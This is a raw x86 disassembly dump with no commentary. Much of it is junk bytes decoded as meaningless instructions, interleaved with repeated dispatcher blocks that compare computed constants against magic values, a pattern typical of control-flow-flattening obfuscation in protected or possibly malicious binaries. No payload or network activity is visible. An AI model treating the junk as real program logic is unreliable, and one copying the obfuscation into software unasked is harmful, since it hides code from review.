cmpsd dword [esi], dword es:[edi]
aam 0x4c
push esi
loopne 0x70b2e94c
rol byte [esi + 0x13], 1
ja 0x70b2e934
push ebx
jnp 0x70b2e91b
aas
or edx, dword [0x8dce9a50]
inc edx
out 0xba, eax
jecxz 0x70b2e9a3
push eax
lcall 0xe3ba, 0xe7428dce
inc ebp
xor bh, byte [edx + 0x7a1e0133]
lahf
popfd
aaa
sub bl, byte [ebp - 0x767b1f6]
hlt
bound ebx, qword [edx]
sub eax, 0xfb9a2805
jg 0x70b2e9e3
sub byte [edx - 0x73948005], bl
fdiv dword [edx - 0x27]
mov eax, ds
jb 0x70b2e955
inc ebp
pop ss
sub esi, dword [ecx - 0x18]
push 0x6af679e8
sub byte [eax], ch
nop
int3
imul esi, esi, 0x356c1ae3
salc
insb byte es:[edi], dx
mov dword [0x8aa73756], eax
jbe 0x70b2e9f7
jecxz 0x70b2e9c2
insb byte es:[edi], dx
xor eax, 0x56a36cd6
aaa
cmpsd dword [esi], dword es:[edi]
mov dh, byte [esi + 0x44]
invalid
scasd eax, dword es:[edi]
or eax, 0xfe868c7a
inc ecx
popal
into
nop
aam 0x73
push es
mov byte [esi + 0x47d30d37], dl
or eax, 0x145cebae
scasd eax, dword es:[edi]
insd dword es:[edi], dx
je 0x70b2e96f
int3
adc al, 0x79
ja 0x70b2e973
ror byte [ebx + 6], cl
lcall 0x2d20, 0x84d83778
xchg edx, eax
mov ah, 0x73
jb 0x70b2e9ef
and byte [0x7273b492], ch
stc
push es
xor al, 0xbf
pop ecx
lcall 0xf1dd, 0xcdb4627b
jnp 0x70b2e9a6
jne 0x70b2e9df
pop edx
sub dword [esi + 0x5f], ebp
inc edi
sbb al, 0x56
in eax, dx
daa
mov esp, 0xc9233c29
jl 0x70b2ea8d
push esi
fdivr st(5), st(0)
fsubr qword [esi]
clc
add eax, 0xdad34499
fucompi st(7)
fisubr word [edx + 0x6a]
jp 0x70b2ea29
cmp ecx, dword [edx]
je 0x70b2ea3f
arpl word [ebx - 0x681d240], bx
adc al, 0xe3
pop esp
nop
int3
in al, dx
retf 0x1b4e
adc ebp, ebp
iretd
or al, byte [edx + 0x1c]
lea eax, [ecx]
add esp, dword [esi]
enter 0x3b94, 0xffffffffffffffd0
mov byte [edi + 0x11], bh
mov dword [eax], edi
pop edi
sal dword [esi], cl
movsb byte es:[edi], byte [esi]
and byte [ebx + edi*4], bh
out dx, al
jns 0x70b2ea45
add dh, byte [edi]
sbb bl, byte [edx - 0x349f3b9d]
or byte [ebx + 0x795b3a8d], dl
mov cl, 0x30
dec esi
jle 0x70b2eb0b
adc bh, dh
jb 0x70b2ea92
mov esi, 0xc14bbae4
mov ecx, 0x229225bf
movsd dword es:[edi], dword [esi]
test dword [esi], ebp
add edx, edi
retf
push es
shr byte [ebx + 0x6f70355a], 0x73
in eax, dx
enter 0xffffffffffff98e0, 0x19
rol dword [esi], 0xe8
add byte [ecx + 0x54], cl
fcomp qword [bx - 0x24e7]
sbb eax, 0xba0db04a
and dword [ecx + 0x66366df3], eax
mov dh, 0x10
fiadd word [esi - 0x76d025e]
lds esp, [eax - 0x1b]
lcall 0x668e, 0x29beb592
ror byte [ecx - 0x179617b5], 0x1f
mov dl, 0x74
lahf
cwde
not byte [eax - 0x561dd834]
jae 0x70b2eaf3
xchg ebx, eax
xchg ebp, eax
pop esi
sbb eax, 0xb4f2f3cc
out dx, eax
ror dword [edx + 0x5f1baf3], cl
bound eax, qword [esi - 0x79e8c07e]
and al, 0xc3
or ecx, dword [eax - 0x6b]
inc ebp
or esp, ebp
dec eax
pop ds
adc edx, dword [edi]
les ebx, [ebp + 0x5b]
retf 0x334e
nop
jmp 0x70b2ee44
nop
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x138], 0x5ea2
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x140], 0xa462c
mov dword [ebp - 0x13c], 0
mov ecx, dword [ebp - 0x138]
mov ebx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x140]
mov edx, dword [ebp - 0x13c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x148]
xor eax, 0xd062d
or eax, dword [ebp - 0x144]
je 0x70b2f479
mov edx, 0xd062d
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x70b303a3
mov eax, dword [ebp - 0x148]
xor eax, 0xae289
or eax, dword [ebp - 0x144]
je 0x70b2ef6a
mov edx, 0xae289
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x70b303a3
mov eax, dword [ebp - 0x148]
xor eax, 0xaa4ce
or eax, dword [ebp - 0x144]
je 0x70b303a6
mov edx, 0xaa4ce
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x70b303a3
mov eax, dword [ebp - 0x148]
xor eax, 0x8beb5
or eax, dword [ebp - 0x144]
je 0x70b2fe97
mov eax, dword [ebp - 0x148]
xor eax, 0xa6580
or eax, dword [ebp - 0x144]
je 0x70b2f988
jmp 0x70b303a3
add byte [edx], bh
sub al, 0x7d
iretd
cmp ch, byte [edi*2 + 0x7a802dcf]
or eax, 0xe067890d
std
inc esi
jp 0x70b2ef99
add ch, byte [ebx - 0x6c]
push eax
rcr edx, cl
loope 0x70b2ef69
xor eax, dword [ecx - 0xa]
inc edi
adc dword [ebp + 0x608e683d], 0x6c
mov esp, 0x62395f5c
out dx, al
pop esi
sub al, 0x22
cdq
mov cs, word [eax]
xchg ecx, eax
leave
inc esp
int 0x94
push edx
ror byte [ebx], 1
les ecx, [ebx - 0x51]
mov dh, 0xce
xchg edx, eax
invalid
inc esi
lds eax, [ebp + 0x50]
outsb dx, byte [esi]
stosb byte es:[edi], al
or bl, dh
in eax, 0xce
cmc
push edi
mov esi, dword [esi + 0x6a]
invalid
adc al, 0xfa
insb byte es:[edi], dx
and eax, dword [ebx + eax*2]
pop eax
dec ebx
dec esp
popal
and eax, 0x8de3f26f
movsb byte es:[edi], byte [esi]
aas
sbb eax, dword [esi - 0x7d]
ret 0xe949
invalid
sahf
or dword [eax], edx
pushal
jno 0x70b2fe70
sub dword [ebx], eax
or esi, dword [edx - 0x75]
fdiv dword [ebx - 0x63ee6794]
jge 0x70b2fef9
imul eax, dword [ecx - 0x1bf309fa], 0x6e
sub al, 0x63
in eax, 0xde
in al, 0x39
test dword [eax + ecx*4 + 0x24213193], edi
and esp, dword [edi - 0x6e]
add eax, 0x80bd570f
or ecx, dword [edi - 0x6c]
loope 0x70b2ff3c
in eax, dx
mov ch, 0x2f
shr esi, 1
ljmp 0x4c54
pop ds
rol byte [edi + 0x5e], 1
lcall 0x40ec, 0x22bb8ede
mov dl, 0x93
pop ecx
mov ah, 0x88
pushfd
in al, dx
in al, dx
sbb eax, 0x9ebc4e28
cmp byte [ebp + 0x5149995d], bl
sbb dword [edx + 0x7c], ebp
sti
std
jb 0x70b2ff77
dec edi
mov edi, dword [edi]
repe scasd eax, dword es:[edi]
je 0x70b2ff8a
lodsd eax, dword [esi]
movsd dword es:[edi], dword [esi]
test bl, dl
push ds
or esi, dword [0x6f4d7805]
lahf
mov esi, 0xe67a4c96
popal
mov esi, 0x5b487fe7
lcall 0xcc90, 0x16a9a41a
rcr edx, 1
int3
xchg edi, eax
dec edi
movsd dword es:[edi], dword [esi]
add al, byte [ebx]
inc edx
jmp 0x70b2ff87
push ds
mov ebp, 0x3108062c
std
dec esp
test eax, 0xbf7f8efd
test eax, 0xdb9eafdc
jg 0x70b2ff4d
sahf
fstp xword [edi - 0x3e]
ret 0xc766
invalid
nop
jmp 0x70b303a7
nop
mov word [ebp - 0xa], 0
jmp 0x70b40c69
mov dword [ebp - 0x168], 0x72c05
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x170], 0x8dca8
mov dword [ebp - 0x16c], 0
mov eax, dword [ebp - 0x164]
imul eax, dword [ebp - 0x170]
mov edx, eax
mov eax, dword [ebp - 0x16c]
imul eax, dword [ebp - 0x168]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x168]
mul dword [ebp - 0x170]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], edx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x178]
xor eax, 0x8eb12f48
mov edx, dword [ebp - 0x174]
xor edx, 0x3f
or eax, edx
je 0x70b37d11
mov edx, 0x8eb12f48
mov eax, 0x3f
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xec28b
or eax, dword [ebp - 0x174]
je 0x70b32c24
mov edx, 0xec28b
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xe79f7
or eax, dword [ebp - 0x174]
je 0x70b30dca
mov edx, 0xe79f7
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xdb9aa
or eax, dword [ebp - 0x174]
je 0x70b363c9
mov edx, 0xdb9aa
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xd1d46
or eax, dword [ebp - 0x174]
je 0x70b372f6
mov edx, 0xd1d46
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xc629b
or eax, dword [ebp - 0x174]
je 0x70b31cf7
mov edx, 0xc629b
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xb6ebe
or eax, dword [ebp - 0x174]
je 0x70b34060
mov edx, 0xb6ebe
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xb29af
or eax, dword [ebp - 0x174]
je 0x70b312d9
mov edx, 0xb29af
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xa5a35
or eax, dword [ebp - 0x174]
je 0x70b34f8d
mov edx, 0xa5a35
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xa49ec
or eax, dword [ebp - 0x174]
je 0x70b34a7e
mov edx, 0xa49ec
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x9ef9f
or eax, dword [ebp - 0x174]
je 0x70b33b51
mov edx, 0x9ef9f
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x99706
or eax, dword [ebp - 0x174]
je 0x70b35eba
mov edx, 0x99706
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x95fa2
or eax, dword [ebp - 0x174]
je 0x70b317e8
mov edx, 0x95fa2
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x8b278
or eax, dword [ebp - 0x174]
je 0x70b36de7
mov edx, 0x8b278
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x7a338
or eax, dword [ebp - 0x174]
je 0x70b3549c
mov edx, 0x7a338
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x6f823
or eax, dword [ebp - 0x174]
je 0x70b368d8
mov edx, 0x6f823
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x4deff
or eax, dword [ebp - 0x174]
je 0x70b32715
mov edx, 0x4deff
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x4a3d6
or eax, dword [ebp - 0x174]
je 0x70b32206
mov edx, 0x4a3d6
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x20f54
or eax, dword [ebp - 0x174]
je 0x70b33642
mov edx, 0x20f54
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x1a2d5
or eax, dword [ebp - 0x174]
je 0x70b3456f
mov edx, 0x1a2d5
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x18305
or eax, dword [ebp - 0x174]
je 0x70b308bb
mov edx, 0x18305
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0x11399
or eax, dword [ebp - 0x174]
je 0x70b37805
mov edx, 0x11399
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x70b37d14
mov eax, dword [ebp - 0x178]
xor eax, 0xc6c7
or eax, dword [ebp - 0x174]
je 0x70b359ab
mov eax, dword [ebp - 0x178]
xor eax, 0x1113e
or eax, dword [ebp - 0x174]
je 0x70b33133
jmp 0x70b37d14
std
mov dword [edi + 0x7d], edi
cmc
insd dword es:[edi], dx
invalid
sbb dh, byte [ebx + 0x63]
wait
cmc
mov ecx, dword [0x583f6c78]
pop ss
out dx, eax
jno 0x70b30d63
mov dl, 0xd7
xchg esp, eax
xlatb
and ebp, dword [eax]
mov bl, 0x65
mov esp, 0xe0f93bee
and esp, 0xffffff8a
xchg edx, eax
sbb al, 0x52
cld
push ecx
les edi, [eax - 0x39c59f5]
mov eax, 0x6bb65782
arpl bx, bx
mov ebp, 0x326ddcb2
fstp xword [ebp + 0x326ddcb2]
int3
inc esp
invalid
not byte [eax + 0x3a8f95cc]
mov dword [0xb9a5419f], eax
adc dword [edi], edi
sub dh, byte [ecx + 0x21]
sub bl, ch
cmp dword [esi], 0xffffffcc
pushfd
rcl ecx, 1
cwde
xor esi, dword [esi + 8]
js 0x70b30d6c
shr dword [ebp - 0x16], cl
sub al, 0x15
rcl dword [ebx], cl
and al, 0x40
mov ebx, 0xaae40bc9
test al, 0x98
jo 0x70b30d21
sbb dword [eax], ebx
int3
or bh, byte [esp + eax - 0x32]
jbe 0x70b30dfd
adc dl, byte [0x8b8071c5]
push ss
loope 0x70b30db3
jge 0x70b30d54
int3
test al, 0x1c
jle 0x70b30d82
pop ds
xor esp, dword [ecx + 0x4c]
add ebp, dword [edi - 0x6d]
sbb eax, 0xaba6ca88
push ss
push 0x5e82ea86
inc ecx
dec edi
pushal
leave
jp 0x70b30db3
dec esp
fld dword [eax + 0x59]
add bl, ch
dec ebx
xchg esp, eax
fst st(3)
fcomp dword [ecx - 0x52]
adc dword [esi - 0x7c5749ca], edx
invalid
dec edx
ja 0x70b30e4d
dec edx
hlt
sal dword [0x2a2b9ef1], cl
fisub dword [ecx]
outsb dx, byte [esi]
movsb byte es:[edi], byte [esi]
fld qword [esi]
mov edx, 0x1bd28030
sub byte [edi - 0x41], al
js 0x70b30e44
movsd dword es:[edi], dword [esi]
mov ebp, 0xc891d7f
xchg esi, eax
jns 0x70b30ed7
xor byte [edx + 0x49], 0xc2
invalid
leave
add eax, 0x9efeef79
cwde
fnstcw word [0xe74b9bf0]
inc edi
out 0x99, al
fstp st(0)
sub al, 0xcf
lodsb al, byte [esi]
xchg ebp, eax
mov edx, 0x58e3cc1a
fnstcw word [esi - 0x58]
push eax
cmp al, 0xdc
daa
push 0x11667105
dec ecx
test byte [eax + 0x116024fc], al
mov edx, 0x4a854e86
imul ebx, ebp, 0xffffff99
loopne 0x70b30f7f
dec edx
jg 0x70b30f48
nop
clc
std
sbb byte [ecx], cl
pmaxub mm6, qword [esi + ebx*2]
sub al, 0x8b
aaa
invalid
pop ebx
imul ecx, ecx, 0xe49f2243
xor esp, dword [edx - 0x1dcc226b]
inc ebx
and bl, byte [edi - 0x6a5dcc1c]
fnsave dword [ebx]
loop 0x70b30f3b
xchg edx, eax
xchg edx, eax
xchg esp, eax
jle 0x70b30f3e
cld
or eax, 0x9959c914
sahf
push ecx
out dx, eax
xchg ebx, eax
dec esi
loopne 0x70b30ee9
invalid
xchg ebp, eax
xor dword [edx - 0x7a3ed85f], ebx
cmpsb byte [esi], byte es:[edi]
rcr dword [esi], 1
in eax, dx
out 0x68, eax
mov ebx, 0x43d8b44b
das
rol byte [edx - 0x2386ce61], 0x76
popal
pop ds
hlt
mov bl, 0xf6
sub ah, byte [ebx - 0x4f]
fnstenv [esi + 0x5c]
mov dl, 0x50
sub al, 0xd3
add cl, dh
pushfd
add bh, byte [ecx - 0xd4ee0fb]
imul eax, edi, 0xad391aed
in al, 0x6c
stc
ror edx, 0x15
cmp byte [esi + 0x14b3278c], ah
add byte [edx], bh
int1
jcxz 0x70b31360
sub byte [0xee01bda4], 0x7a
pop ds
or bl, ch
dec esi
dec esp
mov bl, bl
sal dword [ebx + 0x1f758c3f], 0xd4
retf 0x21b2
ret
add ecx, dword [edi]
das
cmpsb byte [esi], byte es:[edi]
add al, 0xb0
sub ebx, ebx
retf 0xcc0f
mov word [edi - 0x19e6d469], cs
xor al, 0x77
out dx, al
stosd dword es:[edi], eax
dec esp
add bl, byte [eax]
int 0x29
push ebp
loop 0x70b31d60
movsb byte es:[edi], byte [esi]
xchg dword [edx - 0x6da3435], edx
invalid
jae 0x70b31d08
pop edx
dec eax
mov ebx, 0xe3677f75
retf 0xd137
xor eax, 0x7a67cb8e
fld st(5)
arpl bx, bp
lds eax, [edi - 0x64]
retf
add esp, edi
inc esi
or dl, byte [esi + 0x8bcbc2a]
out 0x69, eax
pop ebx
sub eax, 0x24c91e29
in al, 0x3b
nop
int3
aam 0x55
add eax, 0x5f819aa4
add eax, 0x85a1d90f
loop 0x70b3264e
nop
int3
xchg byte [ebp + 0x5e], ah
mov bh, 0xea
jle 0x70b326aa
into
clc
push ds
add byte [ebp + 0x2b99349d], dl
mov edi, 0x1479243b
pop dword [esi - 0x52b0873]
leave
iretd
dec esi
sbb bp, di
xchg dword [ecx + 0x5b], ecx
add dword [ebx - 0x1c814d32], 3
xchg ebp, eax
and al, 0x76
cld
invalid
or byte [edx], ch
mov byte [0x8f753685], al
invalid
hlt
xor al, 0xaa
cmpsd dword [esi], dword es:[edi]
adc edi, dword [edx]
jmp 0x2c79969f
js 0x70b33b38
push esp
pop ds
mov dh, 0x83
mov cl, 0x1d
fbld tbyte [ecx - 0x40a3e9df]
retf
dec eax
sub bl, byte [edi - 0x3b]
pop ebp
push ebp
invalid
loop 0x70b33adb
int3
mov edi, cs
jo 0x70b33bbb
fcom dword [eax + 8]
and al, 0xe9
inc ebp
mov edx, 0x800e645d
das
pop esp
nop
jl 0x70b33b24
or edx, esi
invalid
xor al, 0xb6
xchg byte [eax], bl
cmp al, 0x65
xchg dword [ebp - 0x21c3601a], eax
mov dh, 0x86
sbb byte [0x9fe68587], bh
cmp al, 0xde
xor dword [edi + 0x55], 0xf
sub ch, byte [edx + 0xc8c75ec]
sbb eax, 0xc11ac89b
or byte [ebx], dl
push cs
jne 0x70b33b49
or al, 0x1d
wait
enter 0xffffffffffffc11a, 8
adc ecx, dword [esi]
add eax, 0x8926242d
add eax, ebp
jae 0x70b33ba9
or al, 0x69
loope 0x70b33ba8
inc esp
salc
pop ebx
xchg edx, eax
lahf
insb byte es:[edi], dx
invalid
dec edi
adc dword [ebp - 0x1f], esi
scasd eax, dword es:[edi]
movsd dword es:[edi], dword [esi]
dec esp
jp 0x70b34095
pop eax
dec eax
mov ds, ebp
push ss
lodsd eax, dword [esi]
sbb byte [ebx], bh
adc byte [edx], 0xa
or dword [edi + 0x6f], ebp
sbb eax, 0xb731fcc3
jmp 0xd809c89f
sub al, 0x5a
sbb byte [ecx - 0x1f12255b], dh
in al, dx
invalid
into
neg dword [eax + 0x6884cabb]
adc eax, dword [ebp - 0x73a97f7c]
jle 0x70b345e5
jp 0x70b345c2
stosb byte es:[edi], al
add byte [edx - 0x74], 0x80
std
cdq
xchg byte [0xd9858528], dl
dec esp
sbb eax, 0x9475ad60
mov byte [ebp - 0x5b5b9d3b], dl
sub byte [ecx - 0x5e], bh
stosd dword es:[edi], eax
aaa
enter 0xffffffffffffc894, 0xffffffffffffff89
into
add byte [esp + edx - 0x23db62cb], ah
push ebx
xor dword [edi], ebx
aad 0x7c
add esp, dword [eax - 0x7664d1b]
retf 0xd53f
ret
mov ch, 0xee
push eax
pop ss
cmp dword [edx - 0x7b], edx
ret
push ds
sbb ecx, dword [ecx - 0x2e]
xlatb
push esp
aad 0xd6
add byte [ebx], bl
cmp byte [eax + ecx*4], al
fnstsw word [ecx - 0x11]
fadd qword [esp + eax*2 + 0x50]
sub byte [ecx + 0x4b], 0x98
pop edi
in al, 0x87
insb byte es:[edi], dx
and byte [edi - 0x1717d3a], bl
mov ecx, 0x4ceeb60a
enter 0x4ad1, 0xffffffffffffff98
sahf
mov edx, 0x2ecda87b
jl 0x70b34ad9
sub dh, byte [edi]
insd dword es:[edi], dx
loopne 0x70b34b32
iretd
test dword [ebx], edx
sti
mov bl, 0x6a
xchg edi, eax
inc ecx
mov dword ds:[0x4e1de363], eax
xlatb
mov eax, dword [0x5498892c]
test byte [edx + ebp], al
nop
sbb ebx, dword [edi - 0x1b9d73d6]
aaa
shr byte [0xecace1b3], cl
imul ecx, dword [0xf055b1c0], 0x6a
ror ah, cl
push cs
sbb eax, 0x12ee8106
hlt
mov al, 0xb7
dec byte [edi - 0x67]
lahf
iretd
pop esp
fiadd word [esi + 0x6d867056]
jl 0x70b34f9e
outsb dx, byte [esi]
jp 0x70b34fda
cdq
mov bh, 0xc9
mov al, 0x89
adc al, 0x14
jnp 0x70b34fda
xor dword [ecx - 0x2d96dfaa], eax
adc edx, dword [ecx + 0x40b85581]
inc ecx
inc ecx
inc ebx
sti
div dword [ebx + 0x588fbcc5]
div dword [esi + 0x1735c9cc]
mov gs, word [ecx + 0x28680bbc]
push ss
cmpsb byte [esi], byte es:[edi]
jmp 0x73193a24
aad 0x44
ljmp 0xcc90
pop ss
nop
int3
pop es
jge 0x70b3543e
adc al, 0x6f
mov dword [0xdf0e4e55], eax
adc eax, 0xeb72f3eb
invalid
xchg ecx, eax
add eax, 0x64cbde2
clc
xlatb
out 0xaa, al
mov eax, dword [0xd28bb999]
or edi, dword [ebx + 0x39bc8823]
fld qword [edi - 0x378e94a2]
or al, 0xa
outsd dx, dword [esi]
sti
outsb dx, byte [esi]
aas
movsb byte es:[edi], byte [esi]
push edi
and byte [esi], cl
loope 0x70b35470
cmpsb byte [esi], byte es:[edi]
retf
xchg edi, eax
pop edx
adc al, 0x40
ret 0xc65c
jmp 0x70b37d15
and bh, byte [ecx + 0x70375528]
pop ebp
pop esi
add al, 0xf0
into
loop 0x70b35976
cmp ecx, dword [edx - 0x46c162fa]
jns 0x70b359a6
insb byte es:[edi], dx
push eax
mov ebp, 0xcec81a7e
scasd eax, dword es:[edi]
cld
fnsave dword [ebp + 0x7f2e8d57]
salc
invalid
rcr dword [edi - 0x507c3658], 1
nop
int3
inc eax
jne 0x70b35e77
cdq
sal byte [ebx], 1
jecxz 0x70b35e57
daa
out dx, eax
and esi, dword [0x2c912c1]
mov ebp, 0x83cdd46f
rcl dword [edx], 0xc9
add bh, byte [ebp - 0x7c322b91]
add esp, eax
in eax, 0x47
push ecx
mov dword fs:[edi + ebx*8], esp
into
pop es
leave
sbb edi, ebx
js 0x70b35e80
les esi, [ebp + ebp + 0x1b]
xchg edx, eax
jle 0x70b35f0c
out 0x28, eax
pop es
pushal
and byte [edi - 0x61628dd9], al
mov edi, esp
cmpsd dword [esi], dword es:[edi]
add ecx, eax
in al, 0x3a
ja 0x70b35eee
nop
int3
push edx
mov word [ebx], fs
xchg ecx, eax
add al, 0x6d
arpl word [edi - 0x4b], bp
or byte [ebx + 0x5365d060], 0
inc edi
movsb byte es:[edi], byte [esi]
in eax, 0x39
dec ebp
jbe 0x70b35f02
out dx, al
fxch st(7)
and byte [esi + 0x4fabce40], 0x80
adc esp, esi
je 0x70b35e74
invalid
pop es
test eax, 0xf953b613
or eax, 0x9a041eb0
cdq
pop ebp
jg 0x70b35f5c
int1
cmc
jmp 0x70b35ead
das
push ebx
scasb al, byte es:[edi]
pushal
or ebx, edx
adc ebp, dword [ecx + esi*4 + 0x5f]
push cs
pop eax
nop
int3
retf
mov eax, dword [0x93332d58]
xchg ecx, eax
lodsw ax, word [esi]
pop ecx
ret 0x3579
or byte [ebx], dl
mov esp, 0xc9ed74be
push ds
jecxz 0x70b3640b
cmc
retf 0x36bf
lahf
loop 0x70b3640a
inc eax
push 0xd
jb 0x70b3636e
arpl word [edx + ebp], si
mov bh, byte [ecx + eax*4]
sub eax, dword [ecx]
call 0x5c2cf2f4
loop 0x70b36384
adc eax, 0xbdcc4c67
mov al, byte [0x76d5e0f2]
dec esi
cmp ecx, dword [ebp + 0x7fbf286c]
call 0x7ecfbda8
xor ah, byte [ebp + 0x2c5a839c]
fistp dword [edx + esi*4 - 0x70]
mov al, byte [0xfba29768]
les ebx, [ecx + 0x70]
cwde
xor dword [edx - 0x7dbb8235], edx
cwde
jmp 0x346b7cd
xchg edx, eax
retf
ja 0x70b368dd
push ss
or al, 0xf2
retf 0x3250
pushal
push es
nop
sbb bh, byte [eax + 0x24]
test byte [edx + 0x2920a399], cl
mov bh, 0xfd
inc ebp
ret
pop ds
adc dh, byte [ecx - 0x314f4f6b]
inc esp
adc byte [ebx + 0x61], bl
int1
popal
pop ss
mov edx, 0x5bbcc1b6
lodsb al, byte [esi]
adc ebx, dword [edi]
ficom dword [eax + 0x61]
sbb dword [eax], ebx
inc ebp
fimul word [edx - 0x7091be00]
jbe 0x70b36d8f
aaa
add bl, bh
in eax, dx
xchg byte [eax - 0xc248669], bh
clc
invalid
jl 0x70b3736d
loopne 0x70b37377
jmp 0x70b37363
fucomp st(0)
test eax, 0xd7b41be4
mov cl, byte [esi]
mov word [edi - 0x30d8e2aa], gs
push esp
sal dword [ebp + 0x4c], 1
scasd eax, dword es:[edi]
push esi
sbb eax, 0xd154cf27
jne 0x70b373c2
sahf
mov dh, 2
invalid
add eax, dword [edi + ebx*4]
or al, 0xa3
push edx
cdq
push es
dec ecx
mov ebx, dword [ebx]
test dword [ebx + 0x72], 0x48a369be
sbb byte [ecx], cl
push ss
inc esi
push esp
mov ecx, dword [eax + 0x61]
aam 0x2f
invalid
adc ecx, ecx
pop ecx
sub cl, byte [ebp - 0x14]
das
mov bl, 0x60
imul ebp, dword [edx - 0x7760555e], 0x4e717f9c
pop ebp
int3
nop
jmp 0x70b37d15
nop
movzx eax, word [ebp - 0xa]
lea edx, [eax*4]
mov eax, dword [ebp - 0xec]
add eax, edx
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.70a8174c
test eax, eax
jne 0x70b40c5e
mov dword [ebp - 0x188], 0x3b931
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x190], 0xcadf9
mov dword [ebp - 0x18c], 0
mov eax, dword [ebp - 0x190]
mov edx, dword [ebp - 0x18c]
sub eax, dword [ebp - 0x188]
sbb edx, dword [ebp - 0x184]
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], edx
mov eax, dword [ebp - 0x198]
xor eax, 0xb836e
or eax, dword [ebp - 0x194]
je 0x70b38385
mov edx, 0xb836e
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x70b392af
mov eax, dword [ebp - 0x198]
xor eax, 0x9352e
or eax, dword [ebp - 0x194]
je 0x70b37e76
mov edx, 0x9352e
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x70b392af
mov eax, dword [ebp - 0x198]
xor eax, 0x8f4c8
or eax, dword [ebp - 0x194]
je 0x70b392b2
mov edx, 0x8f4c8
mov eax, 0
cmp edx, dword [ebp - 0x198]
sbb eax, dword [ebp - 0x194]
jl 0x70b392af
mov eax, dword [ebp - 0x198]
xor eax, 0x57190
or eax, dword [ebp - 0x194]
je 0x70b38da3
mov eax, dword [ebp - 0x198]
xor eax, 0x8c110
or eax, dword [ebp - 0x194]
je 0x70b38894
jmp 0x70b392af
out 0xde, al
shr dword [ebp + 0x4d0975dc], 0x5d
dec ebp
pop ebp
jmp 0x70b37e7d
invalid
and edi, dword [ebx - 0xd]
dec esi
